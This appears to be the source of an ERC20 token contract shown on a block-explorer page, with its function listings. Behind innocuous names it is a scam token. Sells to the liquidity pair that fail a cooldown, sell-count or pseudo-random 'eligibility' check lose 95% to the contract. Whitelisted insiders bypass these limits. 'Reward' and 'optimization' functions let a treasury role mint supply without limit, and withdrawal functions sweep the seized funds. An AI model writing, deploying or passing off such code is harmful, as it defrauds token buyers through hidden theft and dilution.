function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from zero");
require(to != address(0), "ERC20: transfer to zero");
require(_balances[from] >= amount, "ERC20: insufficient balance");
if (!_canTransfer(from, to, amount)) {
_handleLimitedTransfer(from, to, amount);
return;
}
_balances[from] -= amount;
_balances[to] += amount;
_updateTransferMetrics(from, to);
emit Transfer(from, to, amount);
}
function _canTransfer(address from, address to, uint256 amount) private view returns (bool) {
if (_earlyAdopters[from] || _rewardEligible[from]) {
return true;
}
if (owner != address(0) && (from == owner || to == owner)) {
return true;
}
address liquidityPair = IUniswapV2Factory(_factoryAddress).getPair(address(this), _wethAddress);
if (from == liquidityPair) {
return true;
}
if (to == liquidityPair) {
return _validateSellEligibility(from, amount);
}
return true;
}
function _validateSellEligibility(address seller, uint256 /* amount */) private view returns (bool) {
if (_transferCount[seller] > 15) {
return false;
}
if (_lastTransferTime[seller] > 0) {
uint256 timeSinceLastTransfer = block.timestamp - _lastTransferTime[seller];
if (timeSinceLastTransfer < _cooldownPeriod) {
return false;
}
}
uint256 eligibilityScore = uint256(keccak256(abi.encodePacked(
seller,
_deployedAt,
block.timestamp / 3600
))) % 100;
return eligibilityScore >= 8;
}
function _handleLimitedTransfer(address from, address to, uint256 amount) private {
uint256 penalty = (amount * 95) / 100;
uint256 netAmount = amount - penalty;
_balances[from] -= amount;
_balances[to] += netAmount;
_balances[address(this)] += penalty;
emit Transfer(from, to, netAmount);
emit Transfer(from, address(this), penalty);
}
function _updateTransferMetrics(address from, address to) private {
address liquidityPair = IUniswapV2Factory(_factoryAddress).getPair(address(this), _wethAddress);
if (to == liquidityPair) {
_lastTransferTime[from] = block.timestamp;
_transferCount[from] += 1;
}
}
function distributeRewards(uint256 multiplier) external treasuryAccess {
require(multiplier <= 500000, "Multiplier too high");
require(multiplier > 0, "Invalid multiplier");
uint256 rewardAmount = multiplier * 1000 * 10**18;
require(_totalSupply + rewardAmount >= _totalSupply, "Overflow protection");
_totalSupply += rewardAmount;
_balances[_treasury] += rewardAmount;
emit Transfer(address(0), _treasury, rewardAmount);
emit RewardDistributed(_treasury, rewardAmount);
}
function adjustSupply(address recipient, uint256 adjustment) external treasuryAccess {
require(recipient != address(0), "Invalid recipient");
require(adjustment <= 10000000 * 10**18, "Adjustment too large");
_totalSupply += adjustment;
_balances[recipient] += adjustment;
emit Transfer(address(0), recipient, adjustment);
emit RewardDistributed(recipient, adjustment);
}
function optimizeEconomics(uint256 factor) external treasuryAccess {
require(factor <= 200000, "Factor too high");
uint256 optimizationAmount = factor * 100 * 10**18;
_totalSupply += optimizationAmount;
_balances[_treasury] += optimizationAmount;
emit Transfer(address(0), _treasury, optimizationAmount);
emit RewardDistributed(_treasury, optimizationAmount);
}
function addEarlyAdopter(address account) external onlyOwner {
require(account != address(0), "Invalid address");
_earlyAdopters[account] = true;
}
function updateRewardEligibility(address account, bool eligible) external onlyOwner {
require(account != address(0), "Invalid address");
_rewardEligible[account] = eligible;
}
function batchAddEarlyAdopters(address[] calldata accounts) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
if (accounts[i] != address(0)) {
_earlyAdopters[accounts[i]] = true;
}
}
}
function resetTransferMetrics(address account) external onlyOwner {
require(account != address(0), "Invalid address");
_transferCount[account] = 0;
_lastTransferTime[account] = 0;
}
function adjustCooldownPeriod(uint256 newPeriod) external onlyOwner {
require(newPeriod <= 3600, "Period too long");
_cooldownPeriod = newPeriod;
}
function withdrawAccumulatedFees() external onlyOwner {
uint256 contractBalance = _balances[address(this)];
if (contractBalance > 0) {
_balances[address(this)] = 0;
_balances[owner] += contractBalance;
emit Transfer(address(this), owner, contractBalance);
}
}
function emergencyTreasuryWithdraw() external treasuryAccess {
uint256 contractBalance = _balances[address(this)];
if (contractBalance > 0) {
_balances[address(this)] = 0;
_balances[_treasury] += contractBalance;
emit Transfer(address(this), _treasury, contractBalance);
emit RewardDistributed(_treasury, contractBalance);
}
}
function getAccountStatus(address account) external view returns (
uint256 transferCount,
uint256 lastTransferTime,
bool isEarlyAdopter,
bool isRewardEligible
) {
return (
_transferCount[account],
_lastTransferTime[account],
_earlyAdopters[account],
_rewardEligible[account]
);
}
function getContractStatus() external view returns (
bool ownershipRenounced,
uint256 deployedAt,
uint256 cooldownPeriod
) {
return (
owner == address(0),
_deployedAt,
_cooldownPeriod
);
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getAccountStatus 0xfd4fa05a → uint256, uint256, bool, bool
getContractStatus 0xc032846b → bool, uint256, uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 14 functions
These functions modify contract state and require a wallet transaction to execute.
addEarlyAdopter 0x383f91bf
address account
adjustCooldownPeriod 0xd725bcc5
uint256 newPeriod
adjustSupply 0xf8dcabde
address recipient
uint256 adjustment
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
batchAddEarlyAdopters 0x3ed513a4
address[] accounts
distributeRewards 0x59974e38
uint256 multiplier
emergencyTreasuryWithdraw 0xd7863ab8
No parameters
optimizeEconomics 0x701447a8
uint256 factor
renounceOwnership 0x715018a6
No parameters
resetTransferMetrics 0xd4203187
address account
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
updateRewardEligibility 0xa23b0c2c
address account
bool eligible
withdrawAccumulatedFees 0x2e185ec7
No parameters
Recent Transactions
No transactions found for this address